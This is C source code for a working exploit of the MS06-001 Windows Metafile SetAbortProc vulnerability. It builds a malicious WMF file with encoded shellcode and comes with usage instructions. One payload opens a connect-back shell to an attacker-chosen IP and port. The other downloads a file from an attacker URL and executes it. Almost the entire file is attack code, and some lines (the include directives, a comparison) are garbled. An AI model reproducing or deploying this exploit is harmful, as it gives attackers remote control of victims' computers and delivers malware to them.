| /*
MS06-001 Windows Metafile Escape() SetAbortProc Code Execution Vulnerability Exploit
Created by SoBeIt
Main file of exploit
Tested on:
Windows XP PRO SP2 Chinese
Windows XP PRO SP2 English
Usage:ms06-001.exe 1 LOCALIP LOCALPORT
ms06-001.exe 2 URL
*/
#include
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")
unsigned char functions1[64][64] =
{
//kernel32.dll
{"LoadLibraryA"},
{"CreateProcessA"},
{"WaitForSingleObject"},
{"ExitThread"},
//ws2_32.dll
{"WSAStartup"},
{"WSASocketA"},
{"connect"},
{""},
};
unsigned char functions2[64][64] =
{
//kernel32.dll
{"LoadLibraryA"},
{"GetSystemDirectoryA"},
{"WinExec"},
{"ExitThread"},
//urlmon.dll
{"URLDownloadToFileA"},
{""},
};
unsigned char wmf_header[] =
"\x01\x00\x09\x00\x00\x03\x52\x1f\x00\x00\x03\x00\x71\x00\x00\x00"
"\x00\x00";
/*
unsigned char wmf_records[] =
"\x08\x00\x00\x00\xfa\x02\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00"
"\x04\x00\x00\x00\x2d\x01\x00\x00\x07\x00\x00\x00\xfc\x02\x00\x00"
"\xff\x00\xff\x00\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x07\x00"
"\x00\x00\x1b\x04\x46\x00\x96\x00\x00\x00\x00\x00\x0f\x00\x00\x00"
"\x21\x05\x11\x00\x43\x72\x65\x61\x74\x65\x64\x20\x42\x79\x20\x53"
"\x6f\x42\x65\x49\x74\x00\x0a\x00\x0a\x00";
*/
unsigned char wmf_recordexp[] =
"\x10\x00\x00\x00\x26\x06\x09\x00\x10\x00\x90\x90\x90\x90\x90\x90";
unsigned char decoder[] =
"\x90\xeb\x14\x5f\x81\x37\xac\xa0\xed\xdc\x81\x3f\xcc\x90\x90\xcc"
"\x74\x0a\x83\xc7\x04\xeb\xed\xe8\xe7\xff\xff\xff";
unsigned char shellcode1[] =
"\x90\xe9\x12\x01\x00\x00\x5f\x47\x66\x81\x3f\x90\xcc\x75\xf8\x66"
"\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\x64\xa1\x30\x00\x00\x00"
"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8"
"\x9f\x00\x00\x00\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
"\x54\xff\x16\x8b\xe8\x6a\x03\x59\xe8\x86\x00\x00\x00\xe2\xf9\x81"
"\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x10\x50\x50"
"\x50\x50\x40\x50\x40\x50\xff\x56\x14\x8b\xd8\xff\x76\x1c\x66\x8b"
"\x56\x20\x86\xd6\xc1\xca\x10\x66\xba\x02\x00\x52\x8b\xd4\x6a\x10"
"\x52\x53\xff\x56\x18\x85\xc0\x75\x44\x68\x63\x6d\x64\x00\x8d\x14"
"\x24\x83\xec\x54\x8b\xfc\x6a\x15\x59\x57\xf3\xab\x5f\xc6\x47\x10"
"\x44\xfe\x47\x3c\xfe\x47\x3d\x89\x5f\x48\x89\x5f\x4c\x89\x5f\x50"
"\x8d\x47\x10\x57\x50\x51\x51\x51\x6a\x01\x51\x51\x52\x51\xff\x56"
"\x04\x8b\xcc\x68\xff\x00\x00\x00\xff\x31\xff\x56\x08\x33\xc0\x50"
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"
"\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\xe9\xfe\xff\xff\x90\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
unsigned char shellcode2[] =
"\x90\xe9\xcb\x00\x00\x00\x5f\x47\x66\x81\x3f\x90\xcc\x75\xf8\x66"
"\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\x64\xa1\x30\x00\x00\x00"
"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8"
"\x58\x00\x00\x00\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d"
"\x54\xff\x16\x8b\xe8\x6a\x01\x59\xe8\x3f\x00\x00\x00\xe2\xf9\x83"
"\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04\xc7\x04\x03\x5c\x74\x65"
"\x73\xc7\x44\x03\x04\x74\x2e\x65\x78\xc7\x44\x03\x08\x65\x00\x00"
"\x00\x33\xc0\x50\x50\x53\x8d\x7e\x14\x57\x50\xff\x56\x10\x8b\xdc"
"\x6a\x01\x53\xff\x56\x08\x33\xc0\x50\xff\x56\x0c\x51\x56\x8b\x75"
"\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49"
"\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07"
"\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66"
"\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59"
"\xc3\xe8\x30\xff\xff\xff\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
unsigned char wmf_eof[] =
"\x03\x00\x00\x00\x00\x00";
VOID ErrorQuit(char *msg)
{
printf("%s\n", msg);
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
VOID Encode(PULONG pShellcode)
{
int len, j = 0;
ULONG i;
for(len = 0; ; len++)
{
i = pShellcode[len];
pShellcode[len] ^= 0xdceda0ac;
if(i == 0xcc9090cc)
break;
}
}
int main(int argc, char *argv[])
{
FILE *fp;
char *wmf_buf, *ptr, *tmpptr;
ULONG size = 0, len = 0, i, j, type;
PULONG pShellcode;
WSADATA wsad;
ULONG buf[64];
printf("\n MS06-001 Windows Metafile Escape() SetAbortProc Code Execution Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc < 2)
{
printf("ConnectBack Usage: %s 1 LOCALIP LOCALPORT\n", argv[0]);
printf("Download&Execute Usage: %s 2 URL\n", argv[0]);
ExitProcess(0);
}
type = atoi(argv[1]);
if((type == 1) && (argc != 4))
ErrorQuit("ConnectBack Usage: ms06-001 1 LOCALIP LOCALPORT\n");
else if((type == 2) && (argc != 3))
ErrorQuit("Download&Execute Usage: ms06-001 2 URL\n");
if(strlen(argv[2]) > 0x30)
ErrorQuit("URL too long.\n");
if((wmf_buf = malloc(4096)) == NULL)
ErrorQuit("malloc failed.\n");
ptr = wmf_buf;
if((type == 2) && (strlen(argv[2]) > 64))
ErrorQuit("URL is too long.\n");
memcpy(ptr, wmf_header, sizeof(wmf_header) - 1);
size += sizeof(wmf_header) - 1;
ptr += sizeof(wmf_header) - 1;
/* memcpy(ptr, wmf_records, sizeof(wmf_records) - 1);
size += sizeof(wmf_records) - 1;
ptr += sizeof(wmf_records) - 1;
*/
memcpy(ptr, wmf_recordexp, sizeof(wmf_recordexp) - 1);
size += sizeof(wmf_recordexp) - 1;
ptr += sizeof(wmf_recordexp) - 1;
memcpy(ptr, decoder, sizeof(decoder) - 1);
size += sizeof(decoder) - 1;
ptr += sizeof(decoder) - 1;
switch(type)
{
case 1:
pShellcode = (PULONG)shellcode1;
for(i = 0; pShellcode[i++] != 0x90cccc90; )
;
for(j = 0; functions1[j][0] != ';\x0';; j++)
buf[j] = ComputeHash(functions1[j]);
buf[j++] = inet_addr(argv[2]);
buf[j++] = atoi(argv[3]);
memcpy((char *)(pShellcode + i), (char *)buf, j * 4);
Encode((PULONG)shellcode1);
memcpy(ptr, shellcode1, sizeof(shellcode1) - 1);
size += sizeof(shellcode1) - 1;
ptr += sizeof(shellcode1) - 1;
break;
case 2:
pShellcode = (PULONG)shellcode2;
for(i = 0; pShellcode[i++] != 0x90cccc90; )
;
for(j = 0; functions2[j][0] != ';\x0';; j++)
buf[j] = ComputeHash(functions2[j]);
tmpptr = (char *)(buf + j);
if(strncmp(argv[2], "http://", 7))
{
strncpy(tmpptr, "http://", 7);
len = 7;
tmpptr += 7;
}
strncpy(tmpptr, argv[2], strlen(argv[2]) + 1);
len += j * 4 + strlen(argv[2]) + 1;
memcpy((char *)(pShellcode + i), (char *)buf, len);
Encode((PULONG)shellcode2);
memcpy(ptr, shellcode2, sizeof(shellcode2) - 1);
size += sizeof(shellcode2) - 1;
ptr += sizeof(shellcode2) - 1;
break;
default:
ErrorQuit("Supported Shellcode Type: 1. ConnectBack 2. Download&Execute.\n");
}
if(size % 2)
{
strcat(ptr, "\x90");
size++;
ptr++;
}
memcpy(ptr, wmf_eof, sizeof(wmf_eof) - 1);
size += sizeof(wmf_eof) - 1;
*(PULONG)(wmf_buf + 0x6) = (ULONG)size / 2;
if((fp = fopen("ms06-001.wmf", "wb")) == NULL)
ErrorQuit("Create metafile failed.\n");
fwrite(wmf_buf, 1, size, fp);
printf("Metafile created.\n");
fclose(fp);
}
|
